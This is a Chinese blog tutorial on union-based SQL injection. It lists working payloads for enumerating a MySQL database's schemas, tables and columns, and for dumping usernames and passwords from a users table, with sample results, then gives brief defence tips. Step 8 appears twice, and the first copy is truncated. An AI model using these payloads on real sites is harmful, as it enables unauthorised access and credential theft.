SQL注入步骤

  • Post author:
  • Post category:其他




1、寻找注入点

寻找url中存在?能够传递参数到后端的页面;

例如 news_detail.php?id=2



2、判断是否存在SQL漏洞

判断标准:就是前端输入恶意的SQL内容,能够带到后端数据库执行;

逻辑操作:

select * from zeeker where id=2 and 1=1; 结果:可以查出数据

select * from zeeker where id=2 and 1=2; 结果:不可以查出数据

(判断闭合方式忽略)



3、判断当前查询的表有多少列

order by 列数,6报错,5不报错,说明当前查询的表有5列数据



4、查看数据的回显位置

目的是让我们想偷窥的数据显示在页面

id=-1 union select 1,2,3,4,5



5、查询数据库的基本信息

user(), database(), version();

此处确认数据库的版本为5.6版本,网站使用的数据库为zeeker



6、查看当前网站后台数据库到底有哪些?

id=-1 union select 1,group_concat( schema_name),3,4,5 from information_schema.schemata

结果:information_schema,mysql,performance_schema,test,zeeker

确认目标数据库就是zeeker

group_concat:目的是把多条数据合并为一条数据,容易一次性展示到网页前端



7、查看目标数据库zeeker用哪些表?

id=-1 union select 1,group_concat( table_name),3,4,5 from information_schema.tables where table_schema=‘zeeker’

结果:info,news_detail,users

进一步确认目标信息,感兴趣的是users



8、查看zeeker数据库中的users表有哪些字段(列名)?

id=-1 union select 1,group_concat( column_name),3,4,5 from information_schema.columns where table_schema=‘zeeker’ and table_name

2、8、查看zeeker数据库中的users表有哪些字段(列名)?

id=-1 union select 1,group_concat( column_name),3,4,5 from information_schema.columns where table_schema=‘zeeker’ and table_name=‘users’

结果:Id,qq,username,password



9、查询目标数据库中目标表的内容

zeeker->users->username,password

语句:id=-1 union select 1,group_concat( username,”~”,password),3,4,5 from zeeker.users

结果:admin

admin888,zhangsan

admin123,admin1~123456



10、循环查找其他有用的数据



防御:

1.开发人员需要过滤用户输入的内容

2.最好能够上一个WAF(web应用防火墙)

3.加强web0服务器上的扫描



版权声明:本文为Qianzshuo原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。